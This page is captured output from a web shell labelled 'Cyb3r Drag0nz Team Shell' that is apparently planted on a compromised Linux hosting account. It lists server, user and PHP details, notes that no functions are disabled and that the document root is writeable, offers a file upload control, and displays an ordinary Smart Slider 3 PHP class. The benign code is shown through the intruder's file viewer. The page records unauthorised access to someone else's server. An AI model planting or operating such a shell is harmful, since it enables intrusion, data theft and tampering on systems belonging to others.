Google

Cyb3r Drag0nz Team Shell

Server : Apache
System : Linux server1.cbinetwhm.bi 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : fenacobu (1017)
PHP Version : 8.1.34
Disable Functions : NONE
Current Directory : /home/fenacobu/www/libraries/smartslider3/src/Framework/Style/
Directory Status: Writeable | Document Root: Writeable

Upload File







Viewing: /home/fenacobu/www/libraries/smartslider3/src/Framework/Style/ModelCss.php

<?php


namespace Nextend\Framework\Style;


use Nextend\Framework\Model\AbstractModel;
use Nextend\Framework\Model\StorageSectionManager;

class ModelCss extends AbstractModel {

    public $storage;

    protected function init() {

        $this->storage = StorageSectionManager::getStorage('system');
    }

    public function addVisual($type, $visual) {

        $visualId = $this->storage->add($type, '', $visual);

        $visual = $this->storage->getById($visualId, $type);
        if (!empty($visual) && $visual['section'] == $type) {
            return $visual;
        }

        return false;
    }

    public function deleteVisual($type, $id) {
        $visual = $this->storage->getById($id, $type);
        if (!empty($visual) && $visual['section'] == $type) {
            $this->storage->deleteById($id);

            return $visual;
        }

        return false;
    }

    public function changeVisual($type, $id, $value) {
        if ($this->storage->setById($id, $value)) {
            return $this->storage->getById($id, $type);
        }

        return false;
    }

    public function getVisuals($type) {
        return $this->storage->getAll($type);
    }

}

Cyb3r Drag0nz Team • Google Edition